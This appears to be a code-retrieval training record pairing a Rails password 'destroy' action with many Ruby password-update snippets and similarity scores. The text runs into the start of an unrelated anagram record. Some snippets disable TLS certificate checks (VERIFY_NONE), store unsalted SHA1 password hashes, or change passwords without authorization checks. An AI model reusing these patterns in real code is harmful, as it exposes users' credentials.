"def update\n respond_to do |format|\n if @xmt_mgr_password.update(xmt_mgr_password_params)\n format.html { redirect_to @xmt_mgr_password, notice: 'Password was successfully updated.' }\n format.json { render :show, status: :ok, location: @xmt_mgr_password }\n else\n format.html { render :edit }\n format.json { render json: @xmt_mgr_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_password(username, password)\n perform_request({:action => \"client-updatepassword\", :username => username, :password => password})\n statusmsg.match /success/i\n end",
"def user_chpasswd(user_id, password)\n payload = {\n :password => password, \n :json => 1\n }\n res = http_put(:uri=>\"/users/#{user_id}/chpasswd\", :data=>payload, :fields=>x_cookie)\n return res.code\n end",
"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n @email_setting = EmailSetting.find(params[:id])\n @company = Company.find(@email_setting.company_id)\n params[:email_setting][:password] = @email_setting.encrypted_password(params[:email_setting][:password])\n \n respond_to do |format|\n if @email_setting.update_attributes(params[:email_setting])\n format.html { redirect_to([@company, @email_setting], :notice => 'Email setting was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_setting.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_user\n @user_locations = @user.user_locations\n \n old_password = @user.sync_password\n \n new_password = request_password\n \n # @user_locations.each do |ul|\n request = request_github(@user.user_locations.where({ :location_id => 1 }).first.login_name, old_password, new_password)\n # end\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end",
"def update!(**args)\n @password = args[:password] if args.key?(:password)\n @user = args[:user] if args.key?(:user)\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params[\"password\"]&.present?\n # Allows user to update registration information without password.\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def update\n respond_to do |format|\n if @secure_password.update(secure_password_params)\n format.html { redirect_to @secure_password, notice: 'Secure password was successfully updated.' }\n format.json { render :show, status: :ok, location: @secure_password }\n else\n format.html { render :edit }\n format.json { render json: @secure_password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_resource(resource, params)\n return super if params[\"password\"]&.present?\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def password=(password)\n raise ArgumentError, \"The new password cannot be nil\" unless password\n raise ArgumentError, \"The new password cannot be empty\" if password.empty?\n\n self.service.editObject({ \"password\" => password.to_s })\n self.refresh_details()\n end",
"def password=(password)\n raise ArgumentError, \"The new password cannot be nil\" unless password\n raise ArgumentError, \"The new password cannot be empty\" if password.empty?\n\n self.service.editObject({ \"password\" => password.to_s })\n self.refresh_details()\n end",
"def update\n @user = User.find(params[:id])\n params[:user]['password'] = Digest::SHA1.hexdigest(params[:user]['password'])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to [:admin,@user], notice: t(\"helpers.notice.update\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update_without_password(params, *options); end",
"def update\n respond_to do |format|\n if @password.update(password_params)\n format.html { redirect_to @password, notice: 'Password was successfully updated.' }\n format.json { render :show, status: :ok, location: @password }\n else\n format.html { render :edit }\n format.json { render json: @password.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_password(id, password)\n url = \"#{@api_base_path}/users/#{id}/update_password\"\n handle_timeouts do\n response = self.class.put(url, headers: auth_header,\n body: { user: { password: password,\n confirmation: password } })\n convert_response(response, \"user\")\n\n end\n end",
"def update_password\n @employee = current_employee\n if @employee.update_with_password(params_employee)\n redirect_to root_path\n else\n render :action => \"edit_password\"\n end\n end",
"def password=(value)\n conf['api']['password'] = value\n end",
"def password_updation\n user_id = params[:user_id]\n password = params[:password]\n if password.present?\n @password = User.find(params[:user_id]).update(password: params[:password])\n render json: @password, status: :ok\n else\n render json: { error: 'password can not be nil' }, status: :unauthorized\n end \n end",
"def attempt_set_password(params)\n p = {}\n p[:password] = params[:password]\n p[:password_confirmation] = params[:password_confirmation]\n update_attributes p\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def update\n\n respond_to do |format|\n if @register.update_attributes(params[:register])\n flash[:notice] = 'Register was successfully updated.'\n format.html { redirect_to(@register) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @register.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params['password']&.present?\n\n # Allows user to update registration information without password.\n resource.update_without_password(params.except('current_password'))\n end",
"def update\n @user = User.first(:id => params[:id])\n params[:user].delete_if {|k, v| k =~ /^password/ && v == \"\"}\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to(administration_user_url(@user), :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def password\n @user = User.find_by_password_reminder(params[:token])\n respond_to do |format|\n if @user\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_path, :flash => { success: 'Password updated'} }\n format.json { head :ok }\n else\n format.html {\n @title = \"Edit user\"\n render \"password_reminders/edit\"\n }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to root_path, :flash => { error: 'Invalid Password Reminder'} }\n format.json { head :ok }\n end\n end\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def change_password(username, new_password)\n perform_request({:action => \"client-updatepassword\", :username => username, :password => new_password})\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update_resource(resource, params)\n # if params['email'] != current_user.email || params['password'].present?\n # resource.update_with_password(params)\n # else\n resource.update_without_password(params.except('password', 'password_confirmation', 'current_password'))\n # end\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def set_APIPassword(value)\n set_input(\"APIPassword\", value)\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def edit(request)\n render do |xml|\n xml.h2 \"Update rack session\"\n xml.p \"Put marshalized and encoded with base64 ruby hash into the form\"\n xml.form({\n :action => action_path(:update),\n :method => 'post',\n :enctype => 'application/x-www-form-urlencoded'\n }) do |form|\n form.input(:type => 'hidden', :name =>'_method', :value => 'put')\n form.textarea(:cols => 40, :rows => 10, :name => 'data') {}\n form.p do |p|\n p.input(:type => 'submit', :value => \"Update\")\n end\n end\n end\n end",
"def attempt_set_password(params)\n\t p = {}\n\t p[:password] = params[:password]\n\t p[:password_confirmation] = params[:password_confirmation]\n\t update_attributes(p)\n end",
"def change_password\n @user = User.find(params[:id])\n end"
] |
[
"0.673721",
"0.66173697",
"0.66173697",
"0.62297577",
"0.62297577",
"0.61173165",
"0.5973855",
"0.5920471",
"0.5888723",
"0.5866186",
"0.5842179",
"0.5840315",
"0.5798947",
"0.5785435",
"0.5785435",
"0.5785435",
"0.5785435",
"0.5785435",
"0.5785435",
"0.5785435",
"0.57502383",
"0.5661663",
"0.55977315",
"0.5574354",
"0.5519339",
"0.5460204",
"0.5449065",
"0.5448152",
"0.54323256",
"0.5423307",
"0.54133654",
"0.53807163",
"0.53807163",
"0.53807163",
"0.53807163",
"0.53807163",
"0.53807163",
"0.53807163",
"0.53807163",
"0.5377616",
"0.53690517",
"0.53518903",
"0.53077024",
"0.52869225",
"0.52682525",
"0.5262723",
"0.5260139",
"0.5238603",
"0.52298796",
"0.52297693",
"0.5226319",
"0.52248037",
"0.52201045",
"0.52140903",
"0.5209885",
"0.5209357",
"0.5185536",
"0.5183414",
"0.5181638",
"0.5180263",
"0.5179403",
"0.51711106",
"0.5168045",
"0.51638424",
"0.51613885",
"0.51582956",
"0.51280886",
"0.5124549",
"0.5118181",
"0.51179504",
"0.51179504",
"0.5116635",
"0.5107671",
"0.5104023",
"0.5104023",
"0.5101462",
"0.5101462",
"0.5098094",
"0.5093157",
"0.50909364",
"0.50873744",
"0.5086858",
"0.508445",
"0.50828093",
"0.5081253",
"0.5077533",
"0.5072471",
"0.5069046",
"0.50633514",
"0.50501716",
"0.50470775",
"0.5043969",
"0.50439024",
"0.5039762",
"0.5038631",
"0.5036709",
"0.50355273",
"0.50317276",
"0.50179136",
"0.50081354",
"0.500665"
] |
0.0
|
-1
|
DELETE /passwords/1 DELETE /passwords/1.xml
|
def destroy
@password = Password.find(params[:id])
@password.destroy
respond_to do |format|
format.html { redirect_to(passwords_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @password.destroy\n respond_to do |format|\n format.html { redirect_to passwords_url }\n format.json { head :no_content }\n end\n end",
"def delete(context, name)\n res = context.transport.delete_request(context, \"security/users/#{name}\")\n\n context.err(name, res.body) unless res.success?\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @xmt_mgr_password.destroy\n respond_to do |format|\n format.html { redirect_to xmt_mgr_passwords_url, notice: 'Password was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n }) \n end",
"def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @password_setting.destroy\n respond_to do |format|\n format.html { redirect_to password_settings_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy_with_password(current_password); end",
"def delete_account\n @connection.request({\n :method => 'DELETE'\n })\n end",
"def destroy\r\n @secret = Secret.find(params[:id])\r\n @secret.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(:action => 'index') }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @credential = Credential.find(params[:id])\n @credential.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete(email)\n Iterable.request(conf, \"/users/#{email}\").delete\n end",
"def destroy\n file_store = FileStore.find_by_sha1_hash!(params[:id])\n if user['id'] == file_store.user_id || user['role'] == 'admin' ||\n (user['uname'] == 'file_store' && user['role'] == 'system')\n file_store.destroy\n head :no_content\n else\n render_error 403\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete_user_password!(username)\n user_password = self.passwords.select { |sw_pw| sw_pw.username == username.to_s }\n\n unless user_password.empty?\n softlayer_client[:Software_Component_Password].object_with_id(user_password.first['id']).deleteObject\n @passwords = nil\n end\n end",
"def delete_cookie name, path\r\n command 'deleteCookie', name, path\r\n end",
"def delete(name)\n handle = system.run!(:search, \"user\", name, nil, @keyring)\n system.run!(:unlink, handle, @keyring)\n end",
"def destroy\n @secure_password.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path, notice: 'Secure password was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n appctrl_delete( 'User' )\n end",
"def delete_user\n begin\n if @kernel_version_major < 11\n guid = @user['generateduid'][0].to_ruby\n password_hash_file = \"#{@@password_hash_dir}/#{guid}\"\n FileUtils.rm_rf(password_hash_file)\n end\n FileUtils.rm_rf(@file)\n rescue Puppet::ExecutionFailure => detail\n fail(\"Could not destroy the user account #{resource[:name]}: #{detail}\")\n end\n end",
"def delete_request(name)\n path = to_path(@requestdir, name)\n delete_pem(path)\n rescue SystemCallError => e\n raise Puppet::Error.new(_(\"Failed to delete certificate request for '%{name}'\") % {name: name}, e)\n end",
"def delete_key(key)\n @keys.delete(key)\n @passwords.each_key { |id| set_password(id, get_password(id)) }\n @otp_keys.each_key { |id| set_otp_key(id, get_otp_key(id)) }\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @certificado = Certificado.find(params[:id])\n @certificado.destroy\n\n respond_to do |format|\n format.html { redirect_to(certificados_url) }\n format.xml { head :ok }\n end\n end",
"def delete(*rest) end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n\t\t\tClient.delete @root\n\t\tend",
"def delete(name)\n @ctx.delete(@path + name)\n end",
"def delete_key_pair(name)\n delete(\"tenants/#{tenant}/sshkeys/#{name}\")\n end",
"def delete_accounts\n end",
"def delete_trust(xml) \n if current_user \n trust_root = xml.root.get_elements('TrustRoot').first.text \n unless trust_root.empty? \n @trust = current_user.trusts.find(:first, :conditions => ['trust_root = ?', trust_root]) \n if @trust \n @trust.destroy \n return render(:text => \"<Response>success</Response>\") \n end \n end \n end \n render :text => '<Response>trust root does not exist</Response>' \n end",
"def delete\n request('delete').auth_required!\n end",
"def delete_user(id)\n elektron_identity.delete(\"users/#{id}\")\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def delete_users\n delete(users_path)\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def remove\n get_credentials\n begin\n response = resource[\"/remove/#{app}\"].post(:apikey => @credentials[1])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def destroy; delete end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def webhelper_delete_all_signing_keys(username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/keys\", {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n\r\n puts \"\"\r\n # delete ios signing_keys\r\n puts \"+ Delete iOS signing-key: \"\r\n json['keys']['ios']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete android signing_keys\r\n puts \"+ Delete Android signing-key: \"\r\n json['keys']['android']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete blackberry signing_keys\r\n puts \"+ Delete BlackBerry signing-key: \"\r\n json['keys']['blackberry']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n end",
"def destroy\n @recovery_password.destroy\n respond_to do |format|\n format.html { redirect_to recovery_passwords_url, notice: 'Recovery password ha sido eliminado.' }\n format.json { head :no_content }\n end\n end",
"def delete_user(username)\n file_buffer = ''\n File.open(FTPUSERS_PATH, 'r') do |password_file|\n file_buffer = password_file.read\n end\n\n file_buffer.gsub!(/^#{username}.*$\\n/, '')\n\n File.open(FTPUSERS_PATH, 'w') do |password_file|\n password_file.write(file_buffer)\n end\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def remove_password\n @user = User.find(params[:id])\n @user.password = \"temporarily_disabled\"\n @user.save\n respond_to do |format|\n format.html { redirect_to(\"/parametres_cabinets/#{@user.parametres_cabinet_id}/edit\") }\n format.xml { head :ok }\n end\n end",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def delete(path)\n request(:delete, path)\n end",
"def webhelper_delete_all_apps (username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/apps\" , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n json['apps'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts response.to_str\r\n end\r\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM users WHERE id = #{self.id};\")\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def delete\n end",
"def destroy\n @identity.destroy\n\n head :no_content\n end",
"def delete(name)\n\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def test_set3_04c_delete_principal()\n user = \"test_user\"\n @test_acl.create_principal(user)\n id = @test_acl.create_ace(user, \"allow\", \"SELECT\", \"test\", \"/db/temporary/testsource\")\n \n @test_acl.delete_principal(user)\n query = \"doc(\\\"#{@col_path}acl.xml\\\")//node()[@id=\\\"#{id}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete(*uris); end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @pass = Passbook::Pass.where(pass_type_identifier: params[:pass_type_identifier], serial_number: params[:serial_number]).first\n head :not_found and return if @pass.nil?\n head :unauthorized and return if request.env['HTTP_AUTHORIZATION'] != \"ApplePass #{@pass.authentication_token}\"\n\n @registration = @pass.registrations.where(device_library_identifier: params[:device_library_identifier]).first\n head :not_found and return if @registration.nil?\n\n @registration.destroy\n\n head :ok\n end",
"def destroy\n #@user = User.find_by_login(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n\n end",
"def destroy\n @keystore.destroy\n respond_to do |format|\n format.html { redirect_to keystores_url, notice: 'Keystore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @openfire_user.destroy\n respond_to do |format|\n format.html { redirect_to openfire_users_url(:tache=>\"rem\") }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def delete\n @linked_user.delete(@uri)\n end",
"def destroy()\n FileUtils.remove_entry_secure(@keystore)\n end",
"def delete(name); end",
"def delete(name); end",
"def destroy\n if params[:admin_password] == ENV[\"ADMIN_PASSWORD\"]\n @keg.destroy\n respond_to do |format|\n format.html { redirect_to Keg, notice: \"Le fût a été supprimé.\"}\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @pw_user = PwUser.find(params[:id])\n @pw_user.destroy\n\n respond_to do |format|\n format.html { redirect_to pw_users_url }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end",
"def delete(path)\n uri = build_uri(path)\n\n request = Net::HTTP::Delete.new(uri.request_uri)\n set_authorisation_header(request)\n\n response = https_client(uri).request(request)\n end",
"def destroy\n @key_pair = KeyPair.find(params[:id])\n @key_pair.destroy\n\n respond_to do |format|\n format.html { redirect_to(key_pairs_url) }\n format.xml { head :ok }\n end\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def deleteLogin( login_id)\n params = Hash.new\n params['login_id'] = login_id\n return doCurl(\"delete\",\"/login\",params)\n end",
"def delete(username)\n if key = find(username)\n unless SecKeychainItemDelete(key.item) == 0\n raise \"Could not delete Keychain item by #{username} of #{@service}\"\n end\n end\n end",
"def destroy\n @permiso = Permiso.find(params[:id])\n @permiso.destroy\n\n respond_to do |format|\n format.html { redirect_to(permisos_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.6295106",
"0.6156355",
"0.6050771",
"0.60501003",
"0.5976177",
"0.59415627",
"0.59317946",
"0.59114647",
"0.588971",
"0.5825659",
"0.5807702",
"0.58007574",
"0.57900715",
"0.5788657",
"0.57840097",
"0.5777547",
"0.5772481",
"0.576012",
"0.573782",
"0.57361627",
"0.57289445",
"0.5728284",
"0.5719232",
"0.5710756",
"0.57100314",
"0.57094616",
"0.56894153",
"0.56881416",
"0.568671",
"0.56808484",
"0.5665683",
"0.56570953",
"0.5656705",
"0.56535846",
"0.5647073",
"0.56363153",
"0.56291306",
"0.56271654",
"0.56260955",
"0.56203824",
"0.5619533",
"0.56170744",
"0.5608982",
"0.55961406",
"0.5595335",
"0.55896354",
"0.5575605",
"0.5575605",
"0.55729884",
"0.55677354",
"0.55663335",
"0.5557013",
"0.5556012",
"0.5548293",
"0.5547902",
"0.5545891",
"0.5542926",
"0.5542926",
"0.5533539",
"0.55320764",
"0.55300254",
"0.5528671",
"0.55216813",
"0.55180275",
"0.55177754",
"0.5511517",
"0.5507621",
"0.5506762",
"0.550445",
"0.55029553",
"0.55029553",
"0.55029553",
"0.55029553",
"0.5502166",
"0.55007464",
"0.54987144",
"0.549792",
"0.5495449",
"0.54882675",
"0.54867095",
"0.5486335",
"0.5485913",
"0.54845166",
"0.5482895",
"0.5481932",
"0.5476944",
"0.5476944",
"0.5470098",
"0.54620206",
"0.5460563",
"0.5459932",
"0.54598767",
"0.54575187",
"0.54484975",
"0.544197",
"0.54412186",
"0.54402584",
"0.54363286",
"0.5434554",
"0.54331774"
] |
0.67820287
|
0
|
Just word difference between the first and second half of a word Not really anagram
|
def word_diff
return -1 unless (@word.size % 2 == 0)
# initialize a hash with 26 lowercase alphabet character and set count for 0
word_hash = ('a'..'z').inject({}) {|h,c| h[c] = 0; h}
# Increment count for first word
len = @word.size / 2
@word[0..len-1].split("").each {|c| word_hash[c] += 1}
# Decrement count for second word
@word[len..len*2].split("").each {|c| word_hash[c] -= 1}
# Check how many count > 0
count = 0
word_hash.each {|k,v| count += 1 if v > 0}
count
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def second_anagram?(str_1, str_2)\n return false if str_1.length != str_2.length \n word_1 = str_1.chars\n word_2 = str_2.chars\n word_1.each_with_index do |char, idx| #\n idx_2 = word_2.find_index(char) \n if !idx_2.nil? #\n word_2.delete_at(idx_2) #m\n end\n end\n word_2.empty? #m\nend",
